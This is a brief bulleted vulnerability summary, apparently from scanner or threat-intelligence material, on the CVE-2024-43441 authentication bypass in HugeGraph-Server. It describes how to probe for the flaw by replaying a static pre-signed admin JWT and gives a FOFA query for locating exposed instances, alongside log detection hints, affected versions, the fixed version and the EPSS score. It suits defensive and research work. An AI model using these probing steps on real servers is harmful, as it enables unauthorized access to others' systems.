  • Probe for CVE-2024-43441 by first confirming the endpoint returns HTTP 401 without credentials, then replaying with the hardcoded static JWT Bearer token; a 200 response containing 'graphs' and 'hugegraph' with Content-Type application/json confirms successful authentication bypass.
  • FOFA fingerprinting query for exposed HugeGraph-Server instances: title="HugeGraph"
  • The exploit uses a static, pre-signed JWT with user_name 'admin' and a far-future expiry (exp: 2071476830). Detect requests to /graphs carrying this specific Authorization Bearer token in HTTP logs.
  • ·The static JWT token embedded in the PoC template has a hardcoded far-future expiry (exp: 2071476830) and is signed with a known/weak secret, making it reusable across all unpatched instances. This is the assumed-immutable data the CVE refers to.
  • ·Affected versions are 1.0.0 through 1.3.x (before 1.5.0). The fix is only available in version 1.5.0; there is no intermediate patch.
  • ·EPSS score of 0.90157 (99.589th percentile) indicates very high probability of exploitation in the wild; patching should be treated as urgent, especially given the holiday-period disclosure timing.
